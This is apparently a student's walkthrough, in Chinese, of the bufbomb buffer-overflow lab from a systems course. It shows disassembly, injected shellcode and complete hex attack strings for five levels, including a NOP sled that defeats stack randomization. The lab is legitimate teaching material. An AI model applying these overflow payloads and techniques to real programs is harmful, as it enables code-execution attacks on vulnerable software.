smoke
要求:构造攻击字符串作为目标程序输入,造成缓冲区溢出,使getbuf()返回时不返回到test函数,而是转向执行smoke
思路:
理解了getbuf栈的构成:开辟的空间[1][2][3]…[32]+rbp+返回地址
只需要把getbuf返回的地址设置为smoke地址即可(开始的时候因为不理解栈的结构,发懵了很久)
第一步:确定开辟空间大小
00000000004018b9 :
4018b9: 55 push %rbp
4018ba: 48 89 e5 mov %rsp,%rbp
//开辟空间大小
4018bd: 48 83 ec 20 sub $0x20,%rsp
4018c1: 48 8d 45 e0 lea -0x20(%rbp),%rax
第二步:确定smoke的地址
00000000004010b6 :
4010b6: 55 push %rbp
答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b6 10 40 00
fizz**
要求:这次返回的是fizz函数,但是fizz函数需要传入一个参数,使得val==cookie才能成功
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
思路:
使用Gets来读取自己修改的cookie的值(跟bang一个套路),自己在这里卡了特别久
修改信息:注意,cookie参数要穿进%edi
4004e6: bf 39 ec 4d 37 mov $0x374dec39,%edi
4004eb: c3 retq
4004ec: 5d pop %rbp
答案:
bf 39 ec 4d 37 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 36 68 55 00 00 00 00
d8 10 40
bang
要求:构造攻击字串,使目标程序调用bang函数,要将函数中全局变量global_value篡改为cookie值
思路:让getbuf正常的跑,但是返回地址调到Gets,在Gets里边写入我们的攻击代码
第一步:修改全局变量+正确返回bang
需要找到global_value位置,可以打印出一张字符表,使用命令
bufbomb > buf_table //输出bufbomb的符号表到文本文件buf_table
可见,global_value地址是0x6061f0
00000000006061f0 g O .bss 0000000000000004 global_value
0000000000000000 F *UND* 0000000000000000 random@@GLIBC_2.2.5
0000000000402ab0 g F .text 0000000000000065 __libc_csu_init
用cookie的值替换全局变量的值,先分别mov到两个寄存器,再用cookie覆盖
global_value,创建一个.c的文件,再生成.s文件,再.s文件中添加:
4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax
4004ed: 48 c7 c1 f0 61 60 00 mov $0x6061f0,%rcx
4004f4: 48 89 01 mov %rax,(%rcx)
4004f7: c3 retq
再生成.out文件,再用objdump反汇编,产生机器级代码:
//返回值是cookie
4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax
4004ed: 48 c7 c1 f0 61 60 00 mov $0x6061f0,%rcx
4004f4: 48 89 01 mov %rax,(%rcx)
4004f7: c3 retq
第二步:找到Gets的输入位置
就是怎样引导getbuf去执行我们的恶意代码 。通过return到Gets,读进我们写的恶意代码
答案:篡改的机器指令+剩余填充+Gets首地址+传入参数
答案:
48 c7 c0 39 ec 4d 37 48
c7 c1 f0 61 60 00 48 89
01 c3 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 36 68 55 00 00 00 00
2e 11 40
boom
000000000040118f :
40118f: 55 push %rbp
401190: 48 89 e5 mov %rsp,%rbp
401193: 48 83 ec 10 sub $0x10,%rsp
401197: b8 00 00 00 00 mov $0x0,%eax
40119c: e8 b3 04 00 00 callq 401654
4011a1: 89 45 f8 mov %eax,-0x8(%rbp)
4011a4: b8 00 00 00 00 mov $0x0,%eax
4011a9: e8 0b 07 00 00 callq 4018b9
//调用getbuf
//
4011ae: 89 45 fc mov %eax,-0x4(%rbp)
4011b1: b8 00 00 00 00 mov $0x0,%eax
4011b6: e8 99 04 00 00 callq 401654
4011bb: 89 c2 mov %eax,%edx
4011bd: 8b 45 f8 mov -0x8(%rbp),%eax
4011c0: 39 c2 cmp %eax,%edx
4011c2: 74 0c je 4011d0 0x41>
4011c4: bf e0 2b 40 00 mov $0x402be0,%edi
4011c9: e8 c2 fb ff ff callq 400d90 @plt>
4011ce: eb 41 jmp 401211 0x82>
4011d0: 8b 55 fc mov -0x4(%rbp),%edx
4011d3: 8b 05 0f 50 20 00 mov 0x20500f(%rip),%eax # 6061e8
4011d9: 39 c2 cmp %eax,%edx
4011db: 75 20 jne 4011fd 0x6e>
4011dd: 8b 45 fc mov -0x4(%rbp),%eax
4011e0: 89 c6 mov %eax,%esi
4011e2: bf 09 2c 40 00 mov $0x402c09,%edi
4011e7: b8 00 00 00 00 mov $0x0,%eax
4011ec: e8 0f fc ff ff callq 400e00 @plt>
4011f1: bf 03 00 00 00 mov $0x3,%edi
4011f6: e8 13 08 00 00 callq 401a0e
4011fb: eb 14 jmp 401211 0x82>
4011fd: 8b 45 fc mov -0x4(%rbp),%eax
401200: 89 c6 mov %eax,%esi
401202: bf 26 2c 40 00 mov $0x402c26,%edi
401207: b8 00 00 00 00 mov $0x0,%eax
40120c: e8 ef fb ff ff callq 400e00 @plt>
401211: 90 nop
401212: c9 leaveq
401213: c3 retq
要求:在test中调用getbuf()函数,再返回一个值,这个返回值需要修改成cookie,并且能够正确的返回test函数。用缺省的代码描述,像下边这样:要完成这段代码里边的内容
test(){
getbuf();//调用函数
}
getbuf(){
Gets();//调用Gets读进字符串内容
return ;//有返回值,题目要求这个返回值是cookie
}
思路:gebuf的这一个栈帧里边到底有什么:数据域+ebp(存储调用getbuf前的栈帧信息)+返回的text的地址
我们想这么设计,我们利用gebuf函数里边开辟的存放数据的空间,用来写一个修改返回信息的过程(修改cookie+顺利返回test)。或者这么想,我们要做两件事情,修改cookie+顺利返回test,getbuf的堆栈里边哪里能允许我们这么做,空间[1][2][3]……[32]里边可以;第二个问题,我们写在[1][2][3]……里边的内容,怎么样才能访问,当然是调用Gets(),怎么样调用Gets():地址返回要写Gets()的输入字符的首地址。
第一步:编写自己要修改的两个信息
创建一个.c的文件,再生成.s文件,再.s文件中添加:
//%rax里边存储的是getbuf返回值,所以要把cookie放在里边
mov $0x374dec39,%rax
push $0x4011ae
ret
再生成.out文件,再用objdump反汇编,产生机器级代码:
4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax
4004ed: 68 ae 11 40 00 pushq $0x4011ae
4004f2: c3 retq
这里就是Gets()访问的内容
第二步:getbuf的%rbp写什么
理解getbuf的%rbp里边到底是什么,它保存的是test的%rbp,做这个操作是为了,出于保护的目的,调用了getbuf以后依旧能够返回test函数。为了不使getbuf里边的内容被破坏,他的%rbp,必须要跟原来没有调用getbuf函数前的是一致的。我们查看test的%rbp
第三步:返回地址,Gets()读取的首个地址
开始开辟了0x20个空间,所以只要用%rbp-0x20就是第一个输入字符的位置(靠近栈顶的位置)
所以答案就是:
需要修改的两个内容的编码+其余不变+修改%rbp+返回地址
答案:
48 c7 c0 39 ec 4d 37 68
ae 11 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 36 68 55 00 00 00 00
80 36 68 55
nitro
0000000000401214 :
401214: 55 push %rbp
401215: 48 89 e5 mov %rsp,%rbp
401218: 48 83 ec 10 sub $0x10,%rsp
40121c: b8 00 00 00 00 mov $0x0,%eax
401221: e8 2e 04 00 00 callq 401654
401226: 89 45 f8 mov %eax,-0x8(%rbp)
401229: b8 00 00 00 00 mov $0x0,%eax
40122e: e8 a1 06 00 00 callq 4018d4 //调用
401233: 89 45 fc mov %eax,-0x4(%rbp)
401236: b8 00 00 00 00 mov $0x0,%eax
40123b: e8 14 04 00 00 callq 401654
要求:在上一题基础上,现在的Gets地址是随机变化的,并且要求五次攻击均要成功
思路:
先让getbufn跑一遍自己原来该有的程序,但是再return的位置改成Gets,变成了再输入一次字符串
在开辟的0x200空间里,使用nop一直滑啊滑,滑到Gets的输入首地址
这里我们占用一部分的%rbp的位置来存放攻击的代码,所以我们要恢复%rbp本来应该有的位置
第一步:修改cookie为返回值+返回testn
这里的%rbp修复,需要知道%rbp原来到底是多少,即去查询test里边的%rbp 和%rsp关系。
明确:%rbp=%rsp+需要修改的值
//修改cookie
4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax
//%rbp修复
4004ed: 48 8d 6c 24 10 lea 0x10(%rsp),%rbp
//返回test调用后yin该返回的地址
4004f2: 68 33 12 40 00 pushq $0x401233
4004f7: c3 retq
第二步:确定getbufn的首个输入字符的地址
确定getbufn开辟空间大小
00000000004018d4 :
4018d4: 55 push %rbp
4018d5: 48 89 e5 mov %rsp,%rbp
4018d8: 48 81 ec 00 02 00 00 sub $0x200,%rsp
4018df: 48 8d 85 00 fe ff ff lea -0x200(%rbp),%rax
4018e6: 48 89 c7 mov %rax,%rdi
4018e9: e8 5b fa ff ff callq 401349
4018ee: b8 01 00 00 00 mov $0x1,%eax
4018f3: c9 leaveq
4018f4: c3 retq
开辟0x200大小
查询Gets函数的首地址
这里采取了一个防止缓冲器恶意攻击的办法–栈随机化,但是我们只要知道一个地址,就可以用nop一直滑到Gets的首个输入地址,同时为了保证五次都成功,Gets地址要选取最大的,保证所有地址都能滑到,开始的时候没有注意,一直不通过。
所以答案:502个nop+(10+8)个篡改的机器编码+Gets地址
答案:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90
48 c7 c0 39 ec 4d
37 48 8d 6c 24 10 68 33 12 40
00 c3
00 35 68 55 0a
调试过程:
只有一次攻击成功,那么答案应该写五次
同时,开始的时候只把代码复制五遍,但是,发现这样子一次都不能通过了,后来想了一下,这是五次输入,中间应该会有间隔的符号,后来加上了0a(\n),完成任务